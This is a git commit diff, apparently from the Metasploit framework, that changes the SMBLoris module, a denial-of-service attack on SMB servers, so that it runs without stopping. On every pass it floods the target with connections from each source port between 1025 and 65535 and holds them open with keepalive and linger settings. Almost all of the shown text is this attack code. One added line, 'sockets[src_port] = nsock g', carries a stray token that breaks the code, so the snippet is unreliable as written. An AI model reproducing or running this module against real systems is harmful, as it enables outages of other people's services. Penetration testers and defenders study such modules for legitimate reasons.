make SMBLoris run continuously as requested

as per ZeroSum's request the module now runs
continuously, refreshing the connections on every pass
until manually killed
bug/bundler_fix
David Maloney 2017-08-08 10:16:16 -05:00
parent 289f03241b
commit 67e86da50b
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
1 changed files with 25 additions and 18 deletions

View File

@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it.
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
'Author' =>
[
@ -55,27 +56,33 @@ class MetasploitModule < Msf::Auxiliary
linger = Socket::Option.linger(true, 60)
while true do
sockets = {}
(1025..65535).each do |src_port|
print_status "Sending packet from Source Port: #{src_port}"
opts = {
'CPORT' => src_port,
'ConnectTimeout' => 360
}
(1025..65535).each do |src_port|
print_status "Sending packet from Source Port: #{src_port}"
opts = {
'CPORT' => src_port,
'ConnectTimeout' => 360
}
if sockets[src_port]
disconnect(sockets[src_port])
end
begin
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
rescue ::Exception => e
print_error "Exception sending packet: #{e.message}"
begin
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
sockets[src_port] = nsock g
rescue ::Exception => e
print_error "Exception sending packet: #{e.message}"
end
end
end
print_status "Sleeping for 30 seconds..."
select(nil, nil, nil, 30)
end